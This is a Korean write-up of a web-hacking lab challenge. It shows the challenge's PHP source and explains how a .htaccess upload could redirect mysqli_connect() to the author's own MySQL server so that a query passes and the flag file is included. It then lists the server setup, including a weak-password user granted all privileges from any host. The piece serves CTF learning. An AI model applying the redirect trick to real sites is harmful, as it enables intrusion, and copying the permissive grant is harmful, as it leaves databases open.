<?php
if($_GET['view_source']) highlight_file(__FILE__);
$db = mysqli_connect() or die();
mysqli_select_db($db,"chall30") or die();
$result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
if($result[0]){
include "/flag";
}
?>
mysqli_connect() 함수는 host, username, password, dbname, port, socket을 인자로 넘겨주는데 위 소스에서는 아무것도 없다.
이런 경우, php.ini 혹은 .htaccess에서 설정 값을 가져와 사용한다.
개인서버로의 설정 값을 적은 .htaccess 파일을 업로드해 조작할 수 있을 것이라 생각하였다.
파일이 존재한다는 뜻이다.
AWS EC2 MySQL 서버에 chall30이라는 데이터베이스를 만들고, chall30_answer이라는 테이블을 만든 후 flag 컬럼에 abc 라는 값을 넣는다.
mysql> CREATE DATABASE chall30;
Query OK, 1 row affected (0.01 sec)
mysql> USE chall30;
Database changed
mysql> CREATE TABLE chall30_answer (flag VARCHAR(255) NOT NULL);
Query OK, 0 rows affected (0.00 sec)
mysql> INSERT INTO chall30_answer VALUES ('abc');
Query OK, 1 row affected (0.01 sec)
mysql> SELECT * FROM chall30_answer;
+------+
| flag |
+------+
| abc |
+------+
1 row in set (0.00 sec)
사용자 추가 및 권한을 부여한다.
mysql> CREATE USER 'donghyunlee00'@'%' IDENTIFIED BY '12345678';
Query OK, 0 rows affected (0.01 sec)
mysql> GRANT ALL PRIVILEGES ON *.* TO 'donghyunlee00'@'%';
Query OK, 0 rows affected (0.01 sec)
mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.01 sec)